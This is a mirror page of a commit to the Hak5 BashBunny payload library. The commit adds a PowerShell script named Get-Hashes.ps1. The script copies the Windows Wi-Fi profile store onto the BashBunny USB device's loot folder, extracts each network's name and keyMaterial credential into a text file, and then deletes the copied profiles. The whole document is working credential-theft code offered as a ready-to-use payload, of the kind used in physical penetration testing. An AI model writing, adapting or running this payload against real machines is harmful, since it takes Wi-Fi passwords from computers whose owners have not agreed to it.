mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-12-19 19:48:25 +00:00
Get-Hashes Script
This commit is contained in:
22
payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1
Normal file
22
payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1
Normal file
@@ -0,0 +1,22 @@
|
||||
#Wi-Fi Information Scraper
|
||||
cd "~";
|
||||
$tDate = Get-Date -Format "MM-dd-yyyy";
|
||||
$vol = Get-Volume -FileSystemLabel BashBunny;
|
||||
$baseDir = $vol.DriveLetter + ":/loot/WiFi-Hash-Scraper/" + $tDate;
|
||||
$interfaceDir = $baseDir + "/Interfaces";
|
||||
$oFile = $baseDir + "/WiFi-Info.txt";
|
||||
Copy-Item "C:/ProgramData/Microsoft/Wlansvc/Profiles/Interfaces" "$interfaceDir" -R -Force;
|
||||
cd $interfaceDir;
|
||||
$temp = Get-ChildItem | Select-String "{";
|
||||
$interfaces = $temp -split "[Environment]::NewLine";
|
||||
foreach($iface in $interfaces){
|
||||
cd $iface;
|
||||
$ftemp = Get-ChildItem;
|
||||
$files = $ftemp -split "[Environment]::NewLine";
|
||||
foreach($sNet in $files){
|
||||
$temp = cat "$sNet" | Select-String "name";$temp += "";$temp += cat $sNet | Select-String "keyMaterial";echo $temp | Out-File $oFile -Append
|
||||
}
|
||||
cd ../;
|
||||
}
|
||||
cd "~";
|
||||
Remove-Item $interfaceDir -R;
|
||||
Reference in New Issue
Block a user